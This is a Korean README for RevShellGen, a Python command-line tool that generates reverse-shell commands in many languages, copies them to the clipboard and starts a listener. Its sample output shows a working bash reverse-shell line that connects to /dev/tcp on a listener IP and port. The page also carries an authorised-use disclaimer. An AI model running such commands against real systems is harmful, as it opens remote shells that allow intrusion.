
Python 3으로 작성된 리버스 셸 생성기.
리버스 셸 생성기
스타일리시하게 리버스 셸 생성을 자동화하세요
번거로움 없이 리버스 셸을 생성, 인코딩, 캐치하세요
RevShellGen은 리버스 셸 명령어 생성을 간소화하는 강력한 CLI 도구입니다. 더 이상 구문을 찾거나, 수동으로 인코딩하거나, 설정에 골머리를 썩지 마세요. 이 도구가 직관적인 인터페이스로 모든 것을 처리합니다.
# PyPI에서 설치
pip install revshellgen
# 도구 실행
revshellgen
# 저장소 클론
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# 의존성 설치
pip3 install -r requirements.txt
# 도구 실행
python3 revshellgen.py # 또는 python3 revshellgen_cli.py
RevShellGen은 다음 Python 패키지가 필요합니다:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# python3-dev 설치가 필요할 수 있음
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# 더 나은 리스너 지원을 위해 ncat 설치
brew install nmap # ncat 포함
도구 시작
python3 revshellgen.py
리버스 셸 구성
생성된 명령어가 자동으로 클립보드에 복사됩니다
리스너 시작 (자동)
대상 머신에서 명령어 실행
![]() 셸 선택 |
![]() 명령어 생성 |
RevShellGen은 이제 포괄적인 TTY 업그레이드 안내를 포함합니다. 셸을 캐치한 후 도구는 다음을 제공합니다:
도구는 자동으로 적절한 netcat 변형을 감지하여 사용합니다:
ncat (권장, nmap 패키지)nc (전통적인 netcat)nc 구문 지원$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] Specify manually
---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444
---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...
기여를 환영합니다! 자유롭게 Pull Request를 제출해 주세요. 주요 변경 사항의 경우 먼저 이슈를 열어 변경하고자 하는 내용을 논의해 주세요.
# 포크 클론
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# 브랜치 생성
git checkout -b feature/your-feature-name
# 변경 사항을 만들고 커밋
git add .
git commit -m "Add your feature"
# 포크에 푸시
git push origin feature/your-feature-name
# Pull Request 생성
버그를 발견했거나 제안이 있으신가요? GitHub에서 이슈를 열어 주세요.
이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다.
소유하지 않거나 테스트할 명시적 허가가 없는 시스템에 대해 이 도구를 사용하는 것은 불법입니다. 모든 관련 지역, 주, 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
| 패키지 | 용도 |
|---|
pyperclip | 클립보드 작업 |
colorama | 터미널 색상 |
readchar | 대화형 키 입력 |
netifaces | 네트워크 인터페이스 감지 |
| 셸 유형 | 설명 | 플랫폼 |
|---|
| Bash | Bash TCP 리버스 셸 | Linux/Unix |
| Python | Python 기반 리버스 셸 | 크로스 플랫폼 |
| Netcat | 전통적인 nc 리버스 셸 | Linux/Unix |
| Netcat mkfifo | 이름 있는 파이프를 사용한 Netcat | Linux/Unix |
| Perl | Perl 기반 리버스 셸 | 크로스 플랫폼 |
| PHP | PHP 리버스 셸 | 크로스 플랫폼 |
| Ruby | Ruby 기반 리버스 셸 | 크로스 플랫폼 |
| Java | Java 리버스 셸 | 크로스 플랫폼 |
| AWK | AWK 리버스 셸 | Linux/Unix |
| Socat | Socat 리버스 셸 | Linux/Unix |
| Socat TTY | 전체 TTY가 있는 Socat | Linux/Unix |
| Telnet | Telnet 리버스 셸 | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |